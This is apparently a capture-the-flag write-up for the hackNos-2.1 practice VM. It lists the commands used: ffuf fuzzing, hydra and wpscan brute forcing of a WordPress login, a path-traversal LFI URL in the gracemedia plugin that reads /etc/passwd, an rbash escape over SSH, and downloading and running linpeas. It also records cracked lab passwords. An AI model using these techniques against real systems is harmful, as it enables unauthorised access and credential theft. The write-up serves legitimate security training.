Last updated: 15 Apr 24 09:30:49 (UTC)

Write-Up HackNos-2.1

HackNos-2.1

By Lawcky 02/01/2024

Introduction

Flag : 2 Flag first user And second root

Learning : Web Application | Enumeration | Password Cracking

Difficulty : Easy-Medium

Additionnal info :

Name: hackNos: Os-hackNos-2.1
Release date: 29 Nov 2019
Author: Rahul Gehlaut
Series: hackNos

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them


In this write-up


Write-UP

Fuzzing the site

sudo ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://192.168.1.58/FUZZ -fc 403

done also with “.txt” “.html” and “.FUZZ”

found tsweb nikto scan ==> here

fuzzing it

1d1f32482ff768c5ec7a6944f50b2e94.png


Attacking wordpress

User Enumeration

hydra -L /usr/share/SecLists/Usernames/cirt-default-usernames.txt -p password -u 192.168.1.58 http-form-post '/tsweb/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.58%2Ftsweb%2Fwp-admin%2F&testcookie=1:F=Unknown username.'

8b59a3fc1a51b9c1f8f569133f21d02d.png emails are false positive, but the user is true

we run a password attack while searching for other ways


Password attack

sudo wpscan --url http://192.168.1.58/tsweb/wp-login.php --password-attack wp-login -U user -P /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt


Getting in

The media player we found in scans is vulnerable to LFI

http://192.168.1.58/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

9861903f733b77be4a145262f8469b95.png

get got the password of the flag user in md5crypt format

eda3975b2f5e043ce6427741551bfc4f.png

flag:topsecret

04e42fb4006988008b2c4c0bda18c8eb.png

we got access to the server


Getting out

it is a restricted shell

b68117bcdee908a7de61740691342573.png

to run the ssh with no profile to elude the rbash ssh -t flag@192.168.1.58 bash --noprofile

03aff142f188b979ad6a2218a862de69.png


Linpeas.sh Enumeration

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

no sudo permission and no SUID that could be used

yet it found this file

f7887e8cab7e1d58dfe8c1650dad43e6.png

after a LONG hashcracking

d3dec14153902c1a655a8ef9d0017aba.png

rohit:!%hack41

d301ef6abcbd2d66f2b85271b816a609.png

first flag found


Privilege Escalation

well… was hard

60f4b7ec28eca31401e0db225cb08d7d.png

ba8a7dac330faeac2adc1af90c5698db.png